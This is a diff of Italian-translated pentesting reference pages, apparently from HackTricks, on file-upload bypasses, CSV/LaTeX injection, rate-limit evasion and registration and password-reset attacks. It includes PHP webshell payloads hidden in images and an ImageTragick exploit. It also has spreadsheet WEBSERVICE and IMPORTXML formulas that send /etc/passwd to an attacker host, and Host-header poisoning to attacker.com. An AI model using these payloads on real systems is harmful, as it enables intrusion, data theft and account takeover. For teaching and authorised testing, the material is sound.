Se invece di utilizzare il modulo php regolare per apache per eseguire script PHP la **pagina web sta utilizzando** **PHP-FMP** (questo migliora l'efficienza della pagina web, quindi è comune trovarlo), c'è qualcos'altro che può essere fatto per migliorare la tecnica.
|
||||
|
||||
PHP-FMP consente di **configurare** il **parametro** **`request_terminate_timeout`** in **`/etc/php/<php-version>/fpm/pool.d/www.conf`**.\
|
||||
Questo parametro indica la quantità massima di secondi **quando** **la richiesta a PHP deve terminare** (infinito per impostazione predefinita, ma **30s se il parametro è decommentato**). Quando una richiesta viene elaborata da PHP per il numero di secondi indicato, viene **terminata**. Questo significa che, se la richiesta stava caricando file temporanei, poiché il **processo php è stato interrotto**, quei **file non verranno eliminati**. Pertanto, se riesci a far durare una richiesta quel tempo, puoi **generare migliaia di file temporanei** che non verranno eliminati, il che **accelera il processo di trovarli** e riduce la probabilità di un DoS per la piattaforma consumando tutte le connessioni.
|
||||
Questo parametro indica il numero massimo di secondi **quando** **la richiesta a PHP deve terminare** (infinito per impostazione predefinita, ma **30s se il parametro è decommentato**). Quando una richiesta viene elaborata da PHP per il numero di secondi indicato, viene **terminata**. Questo significa che, se la richiesta stava caricando file temporanei, poiché il **processo PHP è stato interrotto**, quei **file non verranno eliminati**. Pertanto, se riesci a far durare una richiesta quel tempo, puoi **generare migliaia di file temporanei** che non verranno eliminati, il che **accelererà il processo di trovarli** e riduce la probabilità di un DoS per la piattaforma consumando tutte le connessioni.
|
||||
|
||||
Quindi, per **evitare DoS**, supponiamo che un **attaccante utilizzerà solo 100 connessioni** contemporaneamente e il tempo massimo di elaborazione php per **php-fmp** (`request_terminate_timeout`**)** è **30s**. Pertanto, il numero di **file temporanei** che possono essere generati **al secondo** è `100*20/30 = 66.67`.
|
||||
Quindi, per **evitare DoS** supponiamo che un **attaccante utilizzerà solo 100 connessioni** contemporaneamente e il tempo massimo di elaborazione PHP per **php-fmp** (`request_terminate_timeout`**)** è **30s**. Pertanto, il numero di **file temporanei** che possono essere generati **al secondo** è `100*20/30 = 66.67`.
|
||||
|
||||
Quindi, per generare **10000 file** un attaccante avrebbe bisogno di: **`10000/66.67 = 150s`** (per generare **100000 file** il tempo sarebbe **25min**).
|
||||
|
||||
Quindi, l'attaccante potrebbe utilizzare quelle **100 connessioni** per eseguire una **ricerca brute-force**. \*\*\*\* Supponendo una velocità di 300 req/s, il tempo necessario per sfruttare questo è il seguente:
|
||||
Quindi, l'attaccante potrebbe utilizzare quelle **100 connessioni** per eseguire una **ricerca brute-force**. Supponendo una velocità di 300 req/s il tempo necessario per sfruttare questo è il seguente:
|
||||
|
||||
- 56800235584 / 10000 / 300 / 3600 \~= **5.25 ore** (50% di probabilità in 2.63h)
|
||||
- (con 100000 file) 56800235584 / 100000 / 300 / 3600 \~= **0.525 ore** (50% di probabilità in 0.263h)
|
||||
|
||||
@ -43,8 +43,8 @@ Altre estensioni utili:
|
||||
5. Aggiungi **un altro livello di estensioni** al controllo precedente:
|
||||
- _file.png.jpg.php_
|
||||
- _file.php%00.png%00.jpg_
|
||||
6. Prova a mettere l'**estensione di esecuzione prima dell'estensione valida** e spera che il server sia mal configurato. (utile per sfruttare le misconfigurazioni di Apache dove qualsiasi cosa con estensione **_**.php**_**, ma** non necessariamente che termina in .php** eseguirà codice):
|
||||
- _ex: file.php.png_
|
||||
6. Prova a mettere l'**estensione exec prima dell'estensione valida** e spera che il server sia mal configurato. (utile per sfruttare le misconfigurazioni di Apache dove qualsiasi cosa con estensione **_**.php**_**, ma** non necessariamente che termina in .php** eseguirà codice):
|
||||
- _es: file.php.png_
|
||||
7. Usando **NTFS alternate data stream (ADS)** in **Windows**. In questo caso, un carattere due punti “:” verrà inserito dopo un'estensione vietata e prima di una consentita. Di conseguenza, un **file vuoto con l'estensione vietata** verrà creato sul server (es. “file.asax:.jpg”). Questo file potrebbe essere modificato in seguito utilizzando altre tecniche come l'uso del suo nome breve. Il pattern “**::$data**” può anche essere usato per creare file non vuoti. Pertanto, aggiungere un carattere punto dopo questo pattern potrebbe anche essere utile per bypassare ulteriori restrizioni (es. “file.asp::$data.”)
|
||||
8. Prova a superare i limiti del nome del file. L'estensione valida viene tagliata. E il PHP malevolo rimane. AAA<--SNIP-->AAA.php
|
||||
|
||||
@ -67,11 +67,11 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` oppure puoi anche **introdurre il payload direttamente** in un'immagine:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
- Se **compressioni vengono aggiunte alla tua immagine**, ad esempio utilizzando alcune librerie PHP standard come [PHP-GD](https://www.php.net/manual/fr/book.image.php), le tecniche precedenti non saranno utili. Tuttavia, puoi usare il **PLTE chunk** [**tecnica definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**.
|
||||
- Se **compressione viene aggiunta alla tua immagine**, ad esempio utilizzando alcune librerie PHP standard come [PHP-GD](https://www.php.net/manual/fr/book.image.php), le tecniche precedenti non saranno utili. Tuttavia, puoi usare la **tecnica del chunk PLTE** [**definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**.
|
||||
- [**Github con il codice**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- La pagina web potrebbe anche **ridimensionare** l'**immagine**, utilizzando ad esempio le funzioni PHP-GD `imagecopyresized` o `imagecopyresampled`. Tuttavia, puoi usare il **IDAT chunk** [**tecnica definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**.
|
||||
- La pagina web potrebbe anche **ridimensionare** l'**immagine**, utilizzando ad esempio le funzioni PHP-GD `imagecopyresized` o `imagecopyresampled`. Tuttavia, puoi usare la **tecnica del chunk IDAT** [**definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**.
|
||||
- [**Github con il codice**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
- Un'altra tecnica per creare un payload che **sopravvive a un ridimensionamento dell'immagine**, utilizzando la funzione PHP-GD `thumbnailImage`. Tuttavia, puoi usare il **tEXt chunk** [**tecnica definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**.
|
||||
- Un'altra tecnica per creare un payload che **sopravvive a un ridimensionamento dell'immagine**, utilizzando la funzione PHP-GD `thumbnailImage`. Tuttavia, puoi usare la **tecnica del chunk tEXt** [**definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**.
|
||||
- [**Github con il codice**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
|
||||
### Other Tricks to check
|
||||
@ -94,7 +94,7 @@ Se stai cercando di caricare file su un **server ASP**, [dai un'occhiata al truc
|
||||
|
||||
I file `.phar` sono come i `.jar` per java, ma per php, e possono essere **usati come un file php** (eseguendolo con php, o includendolo all'interno di uno script...)
|
||||
|
||||
L'estensione `.inc` è a volte usata per file php che sono solo usati per **importare file**, quindi, a un certo punto, qualcuno potrebbe aver permesso **che questa estensione fosse eseguita**.
|
||||
L'estensione `.inc` è a volte usata per file php che vengono utilizzati solo per **importare file**, quindi, a un certo punto, qualcuno potrebbe aver consentito **l'esecuzione di questa estensione**.
|
||||
|
||||
## **Jetty RCE**
|
||||
|
||||
@ -106,7 +106,7 @@ Se puoi caricare un file XML su un server Jetty puoi ottenere [RCE perché **nuo
|
||||
|
||||
Per un'esplorazione dettagliata di questa vulnerabilità controlla la ricerca originale: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
|
||||
Le vulnerabilità di Remote Command Execution (RCE) possono essere sfruttate nei server uWSGI se si ha la capacità di modificare il file di configurazione `.ini`. I file di configurazione uWSGI sfruttano una sintassi specifica per incorporare variabili "magiche", segnaposto e operatori. In particolare, l'operatore '@', utilizzato come `@(filename)`, è progettato per includere i contenuti di un file. Tra i vari schemi supportati in uWSGI, lo schema "exec" è particolarmente potente, consentendo la lettura dei dati dall'output standard di un processo. Questa funzionalità può essere manipolata per scopi nefasti come Remote Command Execution o Arbitrary File Write/Read quando un file di configurazione `.ini` viene elaborato.
|
||||
Le vulnerabilità di Remote Command Execution (RCE) possono essere sfruttate nei server uWSGI se si ha la capacità di modificare il file di configurazione `.ini`. I file di configurazione uWSGI sfruttano una sintassi specifica per incorporare variabili "magiche", segnaposto e operatori. In particolare, l'operatore '@', utilizzato come `@(filename)`, è progettato per includere il contenuto di un file. Tra i vari schemi supportati in uWSGI, lo schema "exec" è particolarmente potente, consentendo la lettura dei dati dall'output standard di un processo. Questa funzionalità può essere manipolata per scopi nefasti come Remote Command Execution o Arbitrary File Write/Read quando un file di configurazione `.ini` viene elaborato.
|
||||
|
||||
Considera il seguente esempio di un file `uwsgi.ini` dannoso, che mostra vari schemi:
|
||||
```ini
|
||||
@ -156,13 +156,13 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||
|
||||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||||
```
|
||||
Nota che **un'altra opzione** che potresti considerare per bypassare questo controllo è far sì che il **server HTTP reindirizzi a un file diverso**, quindi l'URL iniziale bypasserà il controllo e wget scaricherà il file reindirizzato con il nuovo nome. Questo **non funzionerà** **a meno che** wget non venga utilizzato con il **parametro** `--trust-server-names` perché **wget scaricherà la pagina reindirizzata con il nome del file indicato nell'URL originale**.
|
||||
Nota che **un'altra opzione** che potresti considerare per bypassare questo controllo è far **reindirizzare il server HTTP a un file diverso**, in modo che l'URL iniziale bypassi il controllo e poi wget scaricherà il file reindirizzato con il nuovo nome. Questo **non funzionerà** **a meno che** wget non venga utilizzato con il **parametro** `--trust-server-names` perché **wget scaricherà la pagina reindirizzata con il nome del file indicato nell'URL originale**.
|
||||
|
||||
## Strumenti
|
||||
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) è uno strumento potente progettato per assistere i Pentester e i Bug Hunter nel testare i meccanismi di upload dei file. Sfrutta varie tecniche di bug bounty per semplificare il processo di identificazione e sfruttamento delle vulnerabilità, garantendo valutazioni approfondite delle applicazioni web.
|
||||
|
||||
## Da upload di file ad altre vulnerabilità
|
||||
## Da File upload ad altre vulnerabilità
|
||||
|
||||
- Imposta **filename** su `../../../tmp/lol.png` e prova a ottenere un **path traversal**
|
||||
- Imposta **filename** su `sleep(10)-- -.jpg` e potresti essere in grado di ottenere una **SQL injection**
|
||||
@ -171,26 +171,26 @@ Nota che **un'altra opzione** che potresti considerare per bypassare questo cont
|
||||
- [**XSS** nel caricamento di file immagine (svg)](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
|
||||
- **JS** file **upload** + **XSS** = [**exploitation di Service Workers**](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
|
||||
- [**XXE in upload svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
- [**Open Redirect** tramite upload di file svg](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
- Prova **diversi payload svg** da [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
|
||||
- [**Open Redirect** tramite caricamento di file svg](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
- Prova **diversi payload svg** da [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
- [Famosa vulnerabilità **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
- Se puoi **indicare al server web di catturare un'immagine da un URL** potresti provare ad abusare di un [SSRF](../ssrf-server-side-request-forgery/index.html). Se questa **immagine** verrà **salvata** in qualche sito **pubblico**, potresti anche indicare un URL da [https://iplogger.org/invisible/](https://iplogger.org/invisible/) e **rubare informazioni di ogni visitatore**.
|
||||
- [**XXE e CORS** bypass con upload PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
|
||||
- PDF appositamente creati per XSS: La [seguente pagina presenta come **iniettare dati PDF per ottenere l'esecuzione di JS**](../xss-cross-site-scripting/pdf-injection.md). Se puoi caricare PDF, potresti preparare alcuni PDF che eseguiranno JS arbitrario seguendo le indicazioni date.
|
||||
- Carica il \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) contenuto per controllare se il server ha qualche **antivirus**
|
||||
- Controlla se c'è qualche **limite di dimensione** nel caricamento dei file
|
||||
- Controlla se c'è qualche **limite di dimensione** nel caricamento di file
|
||||
|
||||
Ecco una lista delle 10 cose che puoi ottenere caricando (da [qui](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
|
||||
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
|
||||
2. **SVG**: XSS memorizzato / SSRF / XXE
|
||||
3. **GIF**: XSS memorizzato / SSRF
|
||||
4. **CSV**: iniezione CSV
|
||||
2. **SVG**: Stored XSS / SSRF / XXE
|
||||
3. **GIF**: Stored XSS / SSRF
|
||||
4. **CSV**: CSV injection
|
||||
5. **XML**: XXE
|
||||
6. **AVI**: LFI / SSRF
|
||||
7. **HTML / JS** : iniezione HTML / XSS / Open redirect
|
||||
8. **PNG / JPEG**: attacco pixel flood (DoS)
|
||||
9. **ZIP**: RCE tramite LFI / DoS
|
||||
7. **HTML / JS** : HTML injection / XSS / Open redirect
|
||||
8. **PNG / JPEG**: Pixel flood attack (DoS)
|
||||
9. **ZIP**: RCE via LFI / DoS
|
||||
10. **PDF / PPTX**: SSRF / BLIND XXE
|
||||
|
||||
#### Estensione Burp
|
||||
@ -220,7 +220,7 @@ tar -cvf test.tar symindex.txt
|
||||
```
|
||||
### Decompress in different folders
|
||||
|
||||
La creazione imprevista di file in directory durante la decompressione è un problema significativo. Nonostante le assunzioni iniziali che questa configurazione potesse proteggere contro l'esecuzione di comandi a livello di OS tramite caricamenti di file dannosi, il supporto per la compressione gerarchica e le capacità di traversata delle directory del formato ZIP possono essere sfruttati. Questo consente agli attaccanti di eludere le restrizioni e di uscire dalle directory di upload sicure manipolando la funzionalità di decompressione dell'applicazione mirata.
|
||||
La creazione imprevista di file in directory durante la decompressione è un problema significativo. Nonostante le assunzioni iniziali che questa configurazione potesse proteggere contro l'esecuzione di comandi a livello di OS tramite caricamenti di file dannosi, il supporto per la compressione gerarchica e le capacità di traversamento delle directory del formato ZIP possono essere sfruttati. Questo consente agli attaccanti di eludere le restrizioni e di uscire dalle directory di upload sicure manipolando la funzionalità di decompressione dell'applicazione mirata.
|
||||
|
||||
Un exploit automatizzato per creare tali file è disponibile su [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). L'utilità può essere utilizzata come mostrato:
|
||||
```python
|
||||
@ -280,7 +280,7 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
|
||||
## ImageTragic
|
||||
|
||||
Carica questo contenuto con un'estensione immagine per sfruttare la vulnerabilità **(ImageMagick , 7.0.1-1)** (forma l'[exploit](https://www.exploit-db.com/exploits/39767))
|
||||
Carica questo contenuto con un'estensione di immagine per sfruttare la vulnerabilità **(ImageMagick , 7.0.1-1)** (forma dell'[exploit](https://www.exploit-db.com/exploits/39767))
|
||||
```
|
||||
push graphic-context
|
||||
viewbox 0 0 640 480
|
||||
@ -289,7 +289,7 @@ pop graphic-context
|
||||
```
|
||||
## Embedding PHP Shell on PNG
|
||||
|
||||
L'incorporamento di una shell PHP nel chunk IDAT di un file PNG può bypassare efficacemente alcune operazioni di elaborazione delle immagini. Le funzioni `imagecopyresized` e `imagecopyresampled` di PHP-GD sono particolarmente rilevanti in questo contesto, poiché sono comunemente utilizzate per ridimensionare e campionare nuovamente le immagini, rispettivamente. La capacità della shell PHP incorporata di rimanere inalterata da queste operazioni è un vantaggio significativo per alcuni casi d'uso.
|
||||
Incorporare una shell PHP nel chunk IDAT di un file PNG può bypassare efficacemente alcune operazioni di elaborazione delle immagini. Le funzioni `imagecopyresized` e `imagecopyresampled` di PHP-GD sono particolarmente rilevanti in questo contesto, poiché sono comunemente utilizzate per ridimensionare e campionare nuovamente le immagini, rispettivamente. La capacità della shell PHP incorporata di rimanere inalterata da queste operazioni è un vantaggio significativo per alcuni casi d'uso.
|
||||
|
||||
Un'esplorazione dettagliata di questa tecnica, inclusa la sua metodologia e le potenziali applicazioni, è fornita nel seguente articolo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Questa risorsa offre una comprensione completa del processo e delle sue implicazioni.
|
||||
|
||||
@ -307,7 +307,7 @@ Maggiore informazione in: [https://medium.com/swlh/polyglot-files-a-hackers-best
|
||||
|
||||
### Upload valid JSONs like if it was PDF
|
||||
|
||||
Come evitare le rilevazioni del tipo di file caricando un file JSON valido anche se non consentito, fingendo un file PDF (tecniche da **[questo post del blog](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
|
||||
Come evitare le rilevazioni del tipo di file caricando un file JSON valido anche se non consentito, simulando un file PDF (tecniche da **[questo post del blog](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
|
||||
|
||||
- **`mmmagic` library**: Finché i byte magici `%PDF` sono nei primi 1024 byte, è valido (prendi esempio dal post)
|
||||
- **`pdflib` library**: Aggiungi un formato PDF falso all'interno di un campo del JSON in modo che la libreria pensi che sia un pdf (prendi esempio dal post)
|
||||
|
||||
@ -62,13 +62,13 @@ Possono essere eseguiti anche comandi aggiuntivi, come scaricare ed eseguire un
|
||||
LibreOffice Calc può essere utilizzato per leggere file locali ed esfiltrare dati. Ecco alcuni metodi:
|
||||
|
||||
- Leggere la prima riga dal file locale `/etc/passwd`: `='file:///etc/passwd'#$passwd.A1`
|
||||
- Eseguire l'exfiltrazione dei dati letti su un server controllato dall'attaccante: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))`
|
||||
- Eseguire l'exfiltrazione di più di una riga: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
|
||||
- Exfiltrazione DNS (inviare i dati letti come query DNS a un server DNS controllato dall'attaccante): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))`
|
||||
- Esfiltrare i dati letti a un server controllato dall'attaccante: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))`
|
||||
- Esfiltrare più di una riga: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
|
||||
- Esfiltrazione DNS (inviare i dati letti come query DNS a un server DNS controllato dall'attaccante): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))`
|
||||
|
||||
### Google Sheets for Out-of-Band (OOB) Data Exfiltration
|
||||
|
||||
Google Sheets offre funzioni che possono essere sfruttate per l'exfiltrazione di dati OOB:
|
||||
Google Sheets offre funzioni che possono essere sfruttate per l'esfiltrazione di dati OOB:
|
||||
|
||||
- **CONCATENATE**: Unisce le stringhe - `=CONCATENATE(A2:E2)`
|
||||
- **IMPORTXML**: Importa dati da tipi di dati strutturati - `=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
|
||||
@ -83,8 +83,8 @@ Di solito, i server che si trovano su Internet che **convertono codice LaTeX in
|
||||
Questo programma utilizza 3 attributi principali per (dis)abilitare l'esecuzione di comandi:
|
||||
|
||||
- **`--no-shell-escape`**: **Disabilita** il costrutto `\write18{command}`, anche se è abilitato nel file texmf.cnf.
|
||||
- **`--shell-restricted`**: Stesso di `--shell-escape`, ma **limitato** a un insieme 'sicuro' di **comandi** \*\*predefiniti (\*\*Su Ubuntu 16.04 l'elenco si trova in `/usr/share/texmf/web2c/texmf.cnf`).
|
||||
- **`--shell-escape`**: **Abilita** il costrutto `\write18{command}`. Il comando può essere qualsiasi comando della shell. Questo costrutto è normalmente disabilitato per motivi di sicurezza.
|
||||
- **`--shell-restricted`**: Stesso di `--shell-escape`, ma **limitato** a un insieme 'sicuro' di **comandi predefiniti** (**Su Ubuntu 16.04 la lista si trova in `/usr/share/texmf/web2c/texmf.cnf`).
|
||||
- **`--shell-escape`**: **Abilita** il costrutto `\write18{command}`. Il comando può essere qualsiasi comando della shell. Questo costrutto è normalmente vietato per motivi di sicurezza.
|
||||
|
||||
Tuttavia, ci sono altri modi per eseguire comandi, quindi per evitare RCE è molto importante utilizzare `--shell-restricted`.
|
||||
|
||||
@ -106,7 +106,7 @@ Potresti dover regolare l'iniezione con wrapper come \[ o $.
|
||||
\text{\line}
|
||||
\closein\file
|
||||
```
|
||||
#### Leggi file a più righe
|
||||
#### Leggi file con più righe
|
||||
```bash
|
||||
\newread\file
|
||||
\openin\file=/etc/passwd
|
||||
|
||||
@ -4,15 +4,15 @@
|
||||
|
||||
## Tecniche di bypass del limite di velocità
|
||||
|
||||
### Esplorare Endpoint Simili
|
||||
### Esplorare endpoint simili
|
||||
|
||||
Dovrebbero essere effettuati tentativi di attacchi brute force su variazioni dell'endpoint mirato, come `/api/v3/sign-up`, inclusi alternativi come `/Sing-up`, `/SignUp`, `/singup`, `/api/v1/sign-up`, `/api/sign-up` ecc.
|
||||
|
||||
### Incorporare Caratteri Vuoti nel Codice o nei Parametri
|
||||
### Incorporare caratteri vuoti nel codice o nei parametri
|
||||
|
||||
Inserire byte vuoti come `%00`, `%0d%0a`, `%0d`, `%0a`, `%09`, `%0C`, `%20` nel codice o nei parametri può essere una strategia utile. Ad esempio, modificare un parametro in `code=1234%0a` consente di estendere i tentativi attraverso variazioni nell'input, come aggiungere caratteri di nuova riga a un indirizzo email per aggirare le limitazioni dei tentativi.
|
||||
Inserire byte vuoti come `%00`, `%0d%0a`, `%0d`, `%0a`, `%09`, `%0C`, `%20` nel codice o nei parametri può essere una strategia utile. Ad esempio, modificare un parametro in `code=1234%0a` consente di estendere i tentativi attraverso variazioni nell'input, come aggiungere caratteri di nuova riga a un indirizzo email per aggirare le limitazioni sui tentativi.
|
||||
|
||||
### Manipolare l'Origine IP tramite Intestazioni
|
||||
### Manipolare l'origine IP tramite intestazioni
|
||||
|
||||
Modificare le intestazioni per alterare l'origine IP percepita può aiutare a eludere il limite di velocità basato su IP. Intestazioni come `X-Originating-IP`, `X-Forwarded-For`, `X-Remote-IP`, `X-Remote-Addr`, `X-Client-IP`, `X-Host`, `X-Forwared-Host`, inclusa l'uso di più istanze di `X-Forwarded-For`, possono essere modificate per simulare richieste da IP diversi.
|
||||
```bash
|
||||
@ -42,7 +42,7 @@ Accedere a un account prima di ogni tentativo, o di ogni serie di tentativi, pot
|
||||
|
||||
### Utilizzare Reti Proxy
|
||||
|
||||
Distribuire una rete di proxy per distribuire le richieste su più indirizzi IP può efficacemente eludere i limiti di rate basati su IP. Instradando il traffico attraverso vari proxy, ogni richiesta sembra provenire da una fonte diversa, diluendo l'efficacia del rate limit.
|
||||
Distribuire una rete di proxy per distribuire le richieste su più indirizzi IP può eludere efficacemente i limiti di rate basati su IP. Instradando il traffico attraverso vari proxy, ogni richiesta appare provenire da una fonte diversa, diluendo l'efficacia del rate limit.
|
||||
|
||||
### Suddividere l'Attacco tra Diversi Account o Sessioni
|
||||
|
||||
@ -50,6 +50,10 @@ Se il sistema target applica limiti di rate su base per-account o per-sessione,
|
||||
|
||||
### Continua a Provare
|
||||
|
||||
Nota che anche se è in atto un rate limit dovresti provare a vedere se la risposta è diversa quando viene inviato l'OTP valido. In [**questo post**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732), il bug hunter ha scoperto che anche se un rate limit viene attivato dopo 20 tentativi non riusciti rispondendo con 401, se quello valido veniva inviato, si riceveva una risposta 200.
|
||||
Nota che anche se è in atto un rate limit, dovresti provare a vedere se la risposta è diversa quando viene inviato l'OTP valido. In [**questo post**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732), il cacciatore di bug ha scoperto che anche se un rate limit viene attivato dopo 20 tentativi non riusciti rispondendo con 401, se quello valido veniva inviato, si riceveva una risposta 200.
|
||||
|
||||
### Strumenti
|
||||
|
||||
- [**https://github.com/Hashtag-AMIN/hashtag-fuzz**](https://github.com/Hashtag-AMIN/hashtag-fuzz): hashtag-fuzz è uno strumento di fuzzing progettato per testare e eludere WAF e CDN. Sfruttando funzionalità avanzate come User-Agent e valori di header casuali, ritardi casuali, gestione del multi-threading, suddivisione selettiva delle wordlist e rotazione proxy Round Robin per ogni chunk, offre una soluzione robusta per i professionisti della sicurezza che mirano a identificare vulnerabilità nelle applicazioni web.
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -22,14 +22,14 @@ Controlla se riesci a capire quando un nome utente è già stato registrato all'
|
||||
|
||||
### Politica delle Password
|
||||
|
||||
Creando un utente controlla la politica delle password (controlla se puoi usare password deboli).\
|
||||
In tal caso potresti provare a bruteforare le credenziali.
|
||||
Creando un utente controlla la politica delle password (verifica se puoi usare password deboli).\
|
||||
In tal caso potresti provare a bruteforza le credenziali.
|
||||
|
||||
### SQL Injection
|
||||
|
||||
[**Controlla questa pagina** ](sql-injection/index.html#insert-statement)per imparare come tentare di prendere il controllo degli account o estrarre informazioni tramite **SQL Injections** nei moduli di registrazione.
|
||||
|
||||
### Presa di Controllo Oauth
|
||||
### Oauth Takeovers
|
||||
|
||||
{{#ref}}
|
||||
oauth-to-account-takeover.md
|
||||
@ -49,30 +49,30 @@ Quando registrato prova a cambiare l'email e controlla se questo cambiamento è
|
||||
|
||||
- Controlla se puoi usare **email usa e getta**
|
||||
- **Password** **Lunghe** (>200) portano a **DoS**
|
||||
- **Controlla i limiti di velocità sulla creazione degli account**
|
||||
- **Controlla i limiti di frequenza sulla creazione degli account**
|
||||
- Usa username@**burp_collab**.net e analizza il **callback**
|
||||
|
||||
## **Presa di Controllo del Ripristino della Password**
|
||||
## **Presa di Controllo del Reset della Password**
|
||||
|
||||
### Perdita del Token di Ripristino della Password Via Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
|
||||
### Perdita del Token di Reset della Password Via Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
|
||||
|
||||
1. Richiedi il ripristino della password al tuo indirizzo email
|
||||
2. Clicca sul link di ripristino della password
|
||||
1. Richiedi il reset della password al tuo indirizzo email
|
||||
2. Clicca sul link di reset della password
|
||||
3. Non cambiare la password
|
||||
4. Clicca su qualsiasi sito web di terze parti (es: Facebook, Twitter)
|
||||
5. Intercetta la richiesta nel proxy di Burp Suite
|
||||
6. Controlla se l'intestazione referer sta perdendo il token di ripristino della password.
|
||||
6. Controlla se l'intestazione referer sta perdendo il token di reset della password.
|
||||
|
||||
### Avvelenamento del Ripristino della Password <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
|
||||
### Avvelenamento del Reset della Password <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
|
||||
|
||||
1. Intercetta la richiesta di ripristino della password in Burp Suite
|
||||
1. Intercetta la richiesta di reset della password in Burp Suite
|
||||
2. Aggiungi o modifica le seguenti intestazioni in Burp Suite: `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
|
||||
3. Inoltra la richiesta con l'intestazione modificata\
|
||||
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
|
||||
4. Cerca un URL di ripristino della password basato sull'_intestazione host_ come: `https://attacker.com/reset-password.php?token=TOKEN`
|
||||
4. Cerca un URL di reset della password basato sull'_intestazione host_ come: `https://attacker.com/reset-password.php?token=TOKEN`
|
||||
|
||||
### Ripristino della Password Tramite Parametro Email <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
|
||||
```powershell
|
||||
### Reset della Password Via Parametro Email <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
|
||||
```bash
|
||||
# parameter pollution
|
||||
email=victim@mail.com&email=hacker@mail.com
|
||||
|
||||
@ -139,7 +139,7 @@ Vedi: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
|
